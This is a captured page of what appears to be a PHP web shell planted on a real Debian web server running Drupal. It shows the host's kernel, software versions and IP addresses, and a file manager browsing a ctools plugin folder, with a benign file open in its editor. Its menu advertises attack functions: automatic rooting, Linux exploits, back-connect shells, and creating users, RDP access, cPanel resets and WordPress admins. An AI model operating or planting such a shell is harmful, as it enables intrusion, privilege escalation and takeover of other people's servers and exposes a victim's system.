Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 52.15.71.146
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
baltic /
web /
modules /
ctools /
plugins /
access /
[ HOME SHELL ]
Name
Size
Permission
Action
book.inc
2.59
KB
-rw-r--r--
compare_users.inc
2.33
KB
-rw-r--r--
context_exists.inc
1.83
KB
-rw-r--r--
entity_bundle.inc
4.51
KB
-rw-r--r--
entity_field_value.inc
14.35
KB
-rw-r--r--
front.inc
1.04
KB
-rw-r--r--
node.inc
0
B
-rw-r--r--
node_access.inc
2.65
KB
-rw-r--r--
node_comment.inc
923
B
-rw-r--r--
node_language.inc
3.41
KB
-rw-r--r--
node_status.inc
915
B
-rw-r--r--
node_type.inc
3.71
KB
-rw-r--r--
path_visibility.inc
3.08
KB
-rw-r--r--
perm.inc
2.08
KB
-rw-r--r--
php.inc
2.1
KB
-rw-r--r--
role.inc
2.38
KB
-rw-r--r--
site_language.inc
2.46
KB
-rw-r--r--
string_equal.inc
2.78
KB
-rw-r--r--
string_length.inc
2.28
KB
-rw-r--r--
term.inc
3.8
KB
-rw-r--r--
term_has_parent.inc
5.66
KB
-rw-r--r--
term_parent.inc
2.74
KB
-rw-r--r--
term_vocabulary.inc
3.77
KB
-rw-r--r--
theme.inc
1.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : compare_users.inc
<?php /** * @file * Ctools access plugin to provide access/visiblity if two user contexts are equal. */ /** * Plugins are described by creating a $plugin array which will be used * by the system that includes this file. */ $plugin = array( 'title' => t("User: compare"), 'description' => t('Compare two users (logged-in user and user being viewed, for example)'), 'callback' => 'ctools_compare_users_access_check', 'default' => array( 'equality' => 1, ), 'settings form' => 'ctools_compare_users_settings', 'summary' => 'ctools_compare_users_ctools_access_summary', 'required context' => array( new ctools_context_required(t('First User'), 'user'), new ctools_context_required(t("Second User"), 'user') ), ); /** * Settings form for the 'by perm' access plugin */ function ctools_compare_users_settings($form, &$form_state, $conf) { $form['settings']['helptext'] = array( '#type' => 'markup', '#value' => '<div>' . t('Grant access based on comparison of the two user contexts. For example, to grant access to a user to view their own profile, choose "logged in user" and "user being viewed" and say "grant access if equal". When they\'re the same, access will be granted.') . '</div>', ); $form['settings']['equality'] = array( '#type' => 'radios', '#title' => t('Grant access if user contexts are'), '#options' => array(1 => t('Equal'), 0 => t('Not equal')), '#default_value' => $conf['equality'], ); return $form; } /** * Check for access. */ function ctools_compare_users_access_check($conf, $context) { if (empty($context) || count($context) != 2 || empty($context[0]->data) || empty($context[1]->data)) { return FALSE; } $account1 = $context[0]->data; $account2 = $context[1]->data; // xor returns false if the two bools are the same, and true if they are not. // i.e, if we asked for equality and they are equal, return true. // If we asked for inequality and they are equal, return false. return ($account1->uid == $account2->uid) xor empty($conf['equality']); } /** * Describe an instance of this plugin. */ function ctools_compare_users_ctools_access_summary($conf, $context) { $comparison = !empty($conf['equality']) ? "is" : 'is not'; return t('@id1 @comp @id2', array('@comp' => $comparison, '@id1' => $context[0]->identifier, '@id2' => $context[1]->identifier)); }
Close